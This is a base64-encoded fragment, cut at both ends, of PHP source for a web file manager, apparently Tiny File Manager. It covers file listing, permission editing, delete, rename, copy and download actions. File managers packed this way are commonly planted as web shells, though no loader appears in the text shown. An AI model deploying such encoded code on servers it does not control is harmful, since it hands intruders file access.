eG1sJywKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgICRobGpzX2NsYXNzID0gaXNzZXQoJGhsanNfY2xhc3Nlc1skZXh0XSkgPyAnbGFuZy0nIC4gJGhsanNfY2xhc3Nlc1skZXh0XSA6ICdsYW5nLScgLiAkZXh0OwogICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkZXh0KSB8fCBpbl9hcnJheShzdHJ0b2xvd2VyKCRmaWxlKSwgZm1fZ2V0X3RleHRfbmFtZXMoKSkgfHwgcHJlZ19tYXRjaCgnI1wubWluXC4oY3NzfGpzKSQjaScsICRmaWxlKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkaGxqc19jbGFzcyA9ICdub2hpZ2hsaWdodCc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gJzxwcmUgY2xhc3M9IndpdGgtaGxqcyI+PGNvZGUgY2xhc3M9IicgLiAkaGxqc19jbGFzcyAuICciPicgLiBmbV9lbmMoJGNvbnRlbnQpIC4gJzwvY29kZT48L3ByZT4nOwogICAgICAgICAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGFycmF5KCdwaHAnLCAncGhwNCcsICdwaHA1JywgJ3BodG1sJywgJ3BocHMnKSkpIHsKICAgICAgICAgICAgICAgICAgICAvLyBwaHAgaGlnaGxpZ2h0CiAgICAgICAgICAgICAgICAgICAgJGNv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gIDxoNiBjbGFzcz0iY2FyZC1oZWFkZXIiPgogICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0NoYW5nZVBlcm1pc3Npb25zJykgPz4KICAgICAgICAgICAgPC9oNj4KICAgICAgICAgICAgPGRpdiBjbGFzcz0iY2FyZC1ib2R5Ij4KICAgICAgICAgICAgICAgIDxwIGNsYXNzPSJjYXJkLXRleHQiPgogICAgICAgICAgICAgICAgICAgIDw/cGhwICRkaXNwbGF5X3BhdGggPSBmbV9nZXRfZGlzcGxheV9wYXRoKCRmaWxlX3BhdGgpOyA/PgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsnbGFiZWwnXTsgPz46IDw/cGhwIGVjaG8gJGRpc3BsYXlfcGF0aFsncGF0aCddOyA/Pjxicj4KICAgICAgICAgICAgICAgIDwvcD4KICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InAiIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iY2htb2QiIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYygkZmlsZSkgPz4iPgoKICAgICAgICAgICAgICAgICAgICA8dGFibGUgY2xhc3M9InRhYmxlIGNvbXBhY3QtdGFibGUgPD9waHAgZWNobyBmbV9nZXRfdGhlbWUoKTsgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Yj48P3BocCBlY2hvIGxuZygnT3duZXInKSA/PjwvYj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxiPjw/cGhwIGVjaG8gbG5nKCdHcm91cCcpID8+PC9iPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGI+PD9waHAgZWNobyBsbmcoJ090aGVyJykgPz48L2I+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHN0eWxlPSJ0ZXh0LWFsaWduOiByaWdodCI+PGI+PD9waHAgZWNobyBsbmcoJ1JlYWQnKSA/PjwvYj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxsYWJlbD48aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InVyIiB2YWx1ZT0iMSI8P3BocCBlY2hvICgkbW9kZSAmIDAwNDAwKSA/ICcgY2hlY2tlZCcgOiAnJyA/Pj48L2xhYmVsPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PGxhYmVsPjxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iZ3IiIHZhbHVlPSIxIjw/cGhwIGVjaG8gKCRtb2RlICYgMDAwNDApID8gJyBjaGVja2VkJyA6ICcnID8+PjwvbGFiZWw+PC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48bGFiZWw+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJvciIgdmFsdWU9IjEiPD9waHAgZWNobyAoJG1vZGUgJiAwMDAwNCkgPyAnIGNoZWNrZWQnIDogJycgPz4+PC9sYWJlbD48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgc3R5bGU9InRleHQtYWxpZ246IHJpZ2h0Ij48Yj48P3BocCBlY2hvIGxuZygnV3JpdGUnKSA/PjwvYj48L3RkPgogICAgICAgICAgICAgICAgICAg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jbGFzcz0iY3VzdG9tLWNoZWNrYm94LWhlYWRlciI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImN1c3RvbS1jb250cm9sIGN1c3RvbS1jaGVja2JveCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIGNsYXNzPSJjdXN0b20tY29udHJvbC1pbnB1dCIgaWQ9ImpzLXNlbGVjdC1hbGwtaXRlbXMiIG9uY2xpY2s9ImNoZWNrYm94X3RvZ2dsZSgpIj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz0iY3VzdG9tLWNvbnRyb2wtbGFiZWwiIGZvcj0ianMtc2VsZWN0LWFsbC1pdGVtcyI+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC90aD48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTmFtZScpID8+PC90aD4KICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnU2l6ZScpID8+PC90aD4KICAgICAgICAgICAgICAgIDx0aD48P3BocCBlY2hvIGxuZygnTW9kaWZpZWQnKSA/PjwvdGg+CiAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scyk6ID8+CiAgICAgICAgICAgICAgICAgICAgPHRoPjw/cGhwIGVjaG8gbG5nKCdQZXJtcycpID8+PC90aD4KICAgICAgICAgICAgICAgICAgICA8dGg+PD9waHAgZWNobyBsbmcoJ093bmVyJykgPz48L3RoPjw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgPHRoPjw/cGhwIGVjaG8gbG5nKCdBY3Rpb25zJykgPz48L3RoPgogICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RoZWFkPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAvLyBsaW5rIHRvIHBhcmVudCBmb2xkZXIKICAgICAgICAgICAgaWYgKCRwYXJlbnQgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgPHRyPjw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PgogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0ibm9zb3J0Ij48L3RkPjw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYm9yZGVyLTAiIGRhdGEtc29ydD48YSBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZSgkcGFyZW50KSA/PiI+PGkgY2xhc3M9ImZhIGZhLWNoZXZyb24tY2lyY2xlLWxlZnQgZ28tYmFjayI+PC9pPiAuLjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iYm9yZGVyLTAiIGRhdGEtb3JkZXI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImJvcmRlci0wIiBkYXRhLW9yZGVyPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJib3JkZXItMCI+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX0lTX1dJTiAmJiAhJGhpZGVfQ29scykgeyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImJvcmRlci0wIj48L3RkPgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImJvcmRlci0wIj48L3RkPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIH0gPz4KICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICB9CiAgICAgICAgICAgICRpaSA9IDMzOTk7CiAgICAgICAgICAgIGZvcmVhY2ggKCRmb2xkZXJzIGFzICRmKSB7CiAgICAgICAgICAgICAgICAkaXNfbGluayA9IGlzX2xpbmsoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAkaW1nID0gJGlzX2xpbmsgPyAnaWNvbi1saW5rX2ZvbGRlcicgOiAnZmEgZmEtZm9sZGVyLW8nOwogICAgICAgICAgICAgICAgJG1vZGlmX3JhdyA9IGZpbGVtdGltZSgkcGF0aCAuICcvJyAuICRmKTsKICAgICAgICAgICAgICAgICRtb2RpZiA9IGRhdGUoRk1fREFURVRJTUVfRk9STUFULCAkbW9kaWZfcmF3KTsKICAgICAgICAgICAgICAgICRkYXRlX3NvcnRpbmcgPSBzdHJ0b3RpbWUoZGF0ZSgiRiBkIFkgSDppOnMuIiwgJG1vZGlmX3JhdykpOwogICAgICAgICAgICAgICAgJGZpbGVzaXplX3JhdyA9ICIiOwogICAgICAgICAgICAgICAgJGZpbGVzaXplID0gbG5nKCdGb2xkZXInKTsKICAgICAgICAgICAgICAgICRwZXJtcyA9IHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKCRwYXRoIC4gJy8nIC4gJGYpKSwgLTQpOwogICAgICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0cHd1aWQnKSAmJiBmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldGdyZ2lkJykpIHsKICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSBwb3NpeF9nZXRwd3VpZChmaWxlb3duZXIoJHBhdGggLiAnLycgLiAkZikpOwogICAgICAgICAgICAgICAgICAgICRncm91cCA9IHBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkcGF0aCAuICcvJyAuICRmKSk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCRvd25lciA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG93bmVyID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIGlmICgkZ3JvdXAgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRncm91cCA9IGFycmF5KCduYW1lJyA9PiAnPycpOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJG93bmVyID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7CiAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICA/PgogICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImN1c3RvbS1jaGVja2JveC10ZCI+CiAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImN1c3RvbS1jb250cm9sIGN1c3RvbS1jaGVja2JveCI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0iY2hlY2tib3giIGNsYXNzPSJjdXN0b20tY29udHJvbC1pbnB1dCIgaWQ9Ijw/cGhwIGVjaG8gJGlpID8+IiBuYW1lPSJmaWxlW10iIHZhbHVlPSI8P3BocCBlY2hvIGZtX2VuYygkZikgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPGxhYmVsIGNsYXNzPSJjdXN0b20tY29udHJvbC1sYWJlbCIgZm9yPSI8P3BocCBlY2hvICRpaSA/PiI+PC9sYWJlbD4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgICAgIDwvdGQ+PD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+PgogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPSJmaWxlbmFtZSI+PGEgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJy8nIC4gJGYsICcvJykpID8+Ij48aSBjbGFzcz0iPD9waHAgZWNobyAkaW1nID8+Ij48L2k+IDw/cGhwIGVjaG8gZm1fY29udmVydF93aW4oZm1fZW5jKCRmKSkgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvYT48P3BocCBlY2hvKCRpc19saW5rID8gJyAmcmFycjsgPGk+JyAuIHJlYWRsaW5rKCRwYXRoIC4gJy8nIC4gJGYpIC4gJzwvaT4nIDogJycpID8+PC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj0iYS08P3BocCBlY2hvIHN0cl9wYWQoJGZpbGVzaXplX3JhdywgMTgsICIwIiwgU1RSX1BBRF9MRUZUKTs/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gJGZpbGVzaXplOyA/PgogICAgICAgICAgICAgICAgICAgIDwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9ImEtPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOz8+Ij48P3BocCBlY2hvICRtb2RpZiA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9IkNoYW5nZSBQZXJtaXNzaW9ucyIgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiI+PD9waHAgZWNobyAkcGVybXMgPz48L2E+PD9waHAgZWxzZTogPz48P3BocCBlY2hvICRwZXJtcyA/Pjw/cGhwIGVuZGlmOyA/PgogICAgICAgICAg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/cGhwIGVjaG8gbG5nKCdDb3B5VG8nKT8+Li4uIiBocmVmPSI/cD0mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJy8nIC4gJGYsICcvJykpID8+Ij48aSBjbGFzcz0iZmEgZmEtZmlsZXMtbyIgYXJpYS1oaWRkZW49InRydWUiPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVuZGlmOyA/PgogICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0RpcmVjdExpbmsnKT8+IiBocmVmPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmIC4gJy8nKSA/PiIgdGFyZ2V0PSJfYmxhbmsiPjxpIGNsYXNzPSJmYSBmYS1saW5rIiBhcmlhLWhpZGRlbj0idHJ1ZSI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgJGlpKys7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJGlrID0gNjA3MDsKICAgICAgICAgICAgZm9yZWFjaCAoJGZpbGVzIGFzICRmKSB7CiAgICAgICAgICAgICAgICAkaXNfbGluayA9IGlzX2xpbmsoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAkaW1nID0gJGlzX2xpbmsgPyAnZmEgZmEtZmlsZS10ZXh0LW8nIDogZm1fZ2V0X2ZpbGVfaWNvbl9jbGFzcygkcGF0aCAuICcvJyAuICRmKTsKICAgICAgICAgICAgICAgICRtb2RpZl9yYXcgPSBmaWxlbXRpbWUoJHBhdGggLiAnLycgLiAkZik7CiAgICAgICAgICAgICAgICAkbW9kaWYgPSBkYXRlKEZNX0RBVEVUSU1FX0ZPUk1BVCwgJG1vZGlmX3Jhdyk7CiAgICAgICAgICAgICAgICAkZGF0ZV9zb3J0aW5nID0gc3RydG90aW1lKGRhdGUoIkYgZCBZIEg6aTpzLiIsICRtb2RpZl9yYXcpKTsKICAgICAgICAgICAgICAgICRmaWxlc2l6ZV9yYXcgPSBmbV9nZXRfc2l6ZSgkcGF0aCAuICcvJyAuICRmKTsKICAgICAgICAgICAgICAgICRmaWxlc2l6ZSA9IGZtX2dldF9maWxlc2l6ZSgkZmlsZXNpemVfcmF3KTsKICAgICAgICAgICAgICAgICRmaWxlbGluayA9ICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpIC4gJyZhbXA7dmlldz0nIC4gdXJsZW5jb2RlKCRmKTsKICAgICAgICAgICAgICAgICRhbGxfZmlsZXNfc2l6ZSArPSAkZmlsZXNpemVfcmF3OwogICAgICAgICAgICAgICAgJHBlcm1zID0gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoJHBhdGggLiAnLycgLiAkZikpLCAtNCk7CiAgICAgICAgICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRwd3VpZCcpICYmIGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgewogICAgICAgICAgICAgICAgICAgICRvd25lciA9IHBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkcGF0aCAuICcvJyAuICRmKSk7CiAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gcG9zaXhfZ2V0Z3JnaWQoZmlsZWdyb3VwKCRwYXRoIC4gJy8nIC4gJGYpKTsKICAgICAgICAgICAgICAgICAgICBpZiAoJG93bmVyID09PSBmYWxzZSkgewogICAgICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCRncm91cCA9PT0gZmFsc2UpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGdyb3VwID0gYXJyYXkoJ25hbWUnID0+ICc/Jyk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkb3duZXIgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsKICAgICAgICAgICAgICAgICAgICAkZ3JvdXAgPSBhcnJheSgnbmFtZScgPT4gJz8nKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgID8+CiAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0iY3VzdG9tLWNoZWNrYm94LXRkIj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iY3VzdG9tLWNvbnRyb2wgY3VzdG9tLWNoZWNrYm94Ij4KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgY2xhc3M9ImN1c3RvbS1jb250cm9sLWlucHV0IiBpZD0iPD9waHAgZWNobyAkaWsgPz4iIG5hbWU9ImZpbGVbXSIgdmFsdWU9Ijw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8bGFiZWwgY2xhc3M9ImN1c3RvbS1jb250cm9sLWxhYmVsIiBmb3I9Ijw/cGhwIGVjaG8gJGlrID8+Ij48L2xhYmVsPgogICAgICAgICAgICAgICAgICAgICAgICA8L2Rpdj4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1zb3J0PTw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/Pj4KICAgICAgICAgICAgICAgICAgICAgICAgPGRpdiBjbGFzcz0iZmlsZW5hbWUiPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgICAgICAgICAgICBpZiAoaW5fYXJyYXkoc3RydG9sb3dlcihwYXRoaW5mbygkZiwgUEFUSElORk9fRVhURU5TSU9OKSksIGFycmF5KCdnaWYnLCAnanBnJywgJ2pwZWcnLCAncG5nJywgJ2JtcCcsICdpY28nLCAnc3ZnJywgJ3dlYnAnLCAnYXZpZicpKSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgJGltYWdlUHJldmlldyA9IGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmKTsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSI8P3BocCBlY2hvICRmaWxlbGluayA/PiIgZGF0YS1wcmV2aWV3LWltYWdlPSI8P3BocCBlY2hvICRpbWFnZVByZXZpZXcgPz4iIHRpdGxlPSI8P3BocCBlY2hvIGZtX2VuYygkZikgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9Ijw/cGhwIGVjaG8gJGZpbGVsaW5rID8+IiB0aXRsZT0iPD9waHAgZWNobyAkZiA/PiI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGkgY2xhc3M9Ijw/cGhwIGVjaG8gJGltZyA/PiI+PC9pPiA8P3BocCBlY2hvIGZtX2NvbnZlcnRfd2luKGZtX2VuYygkZikpID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9hPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8oJGlzX2xpbmsgPyAnICZyYXJyOyA8aT4nIC4gcmVhZGxpbmsoJHBhdGggLiAnLycgLiAkZikgLiAnPC9pPicgOiAnJykgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC9kaXY+CiAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj0iYi08P3BocCBlY2hvIHN0cl9wYWQoJGZpbGVzaXplX3JhdywgMTgsICIwIiwgU1RSX1BBRF9MRUZUKTsgPz4iPjxzcGFuIHRpdGxlPSI8P3BocCBwcmludGYoJyVzIGJ5dGVzJywgJGZpbGVzaXplX3JhdykgPz4iPgogICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlY2hvICRmaWxlc2l6ZTsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC9zcGFuPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtb3JkZXI9ImItPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOz8+Ij48P3BocCBlY2hvICRtb2RpZiA/PjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9JU19XSU4gJiYgISRoaWRlX0NvbHMpOiA/PgogICAgICAgICAgICAgICAgICAgICAgICA8dGQ+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+PGEgdGl0bGU9Ijw/cGhwIGVjaG8gJ0NoYW5nZSBQZXJtaXNzaW9ucycgPz4iIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtjaG1vZD08P3BocCBlY2hvIHVybGVuY29kZSgkZikgPz4iPjw/cGhwIGVjaG8gJHBlcm1zID8+PC9hPjw/cGhwIGVsc2U6ID8+PD9waHAgZWNobyAkcGVybXMgPz48P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD4KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjw/cGhwIGVjaG8gZm1fZW5jKCRvd25lclsnbmFtZSddIC4gJzonIC4gJGdyb3VwWyduYW1lJ10pID8+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz4KICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9ImlubGluZS1hY3Rpb25zIj4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpID8+IiBocmVmPSI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGVsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PiIgb25jbGljaz0iY29uZmlybURhaWxvZyhldmVudCwgMTIwOSwgJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUnKS4nICcubG5nKCdGaWxlJyk7ID8+JywnPD9waHAgZWNobyB1cmxlbmNvZGUoJGYpOyA/PicsIHRoaXMuaHJlZik7Ij4gPGkgY2xhc3M9ImZhIGZhLXRyYXNoLW8iPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+IiBocmVmPSIjIiBvbmNsaWNrPSJyZW5hbWUoJzw/cGhwIGVjaG8gZm1fZW5jKGFkZHNsYXNoZXMoRk1fUEFUSCkpID8+JywgJzw/cGhwIGVjaG8gZm1fZW5jKGFkZHNsYXNoZXMoJGYpKSA/PicpO3JldHVybiBmYWxzZTsiPjxpIGNsYXNzPSJmYSBmYS1wZW5jaWwtc3F1YXJlLW8iPjwvaT48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0NvcHlUbycpID8+Li4uIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaHJlZj0iP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJy8nIC4gJGYsICcvJykpID8+Ij48aSBjbGFzcz0iZmEgZmEtZmlsZXMtbyI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZW5kaWY7ID8+CiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPSI8P3BocCBlY2hvIGxuZygnRGlyZWN0TGluaycpID8+IiBocmVmPSI8P3BocCBlY2hvIGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJy8nIC4gRk1fUEFUSCA6ICcnKSAuICcvJyAuICRmKSA/PiIgdGFyZ2V0PSJfYmxhbmsiPjxpIGNsYXNzPSJmYSBmYS1saW5rIj48L2k+PC9hPgogICAgICAgICAgICAgICAgICAgICAgICA8YSB0aXRsZT0iPD9waHAgZWNobyBsbmcoJ0Rvd25sb2FkJykgPz4iIGhyZWY9Ij9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkbD08P3BocCBlY2hvIHVybGVuY29kZSgkZikgPz4iIG9uY2xpY2s9ImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMTEsICc8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTsiPjxpIGNsYXNzPSJmYSBmYS1kb3dubG9hZCI+PC9pPjwvYT4KICAgICAgICAgICAgICAgICAgICA8L3RkPgogICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDw/cGhwCiAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgJGlrKys7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlmIChlbXB0eS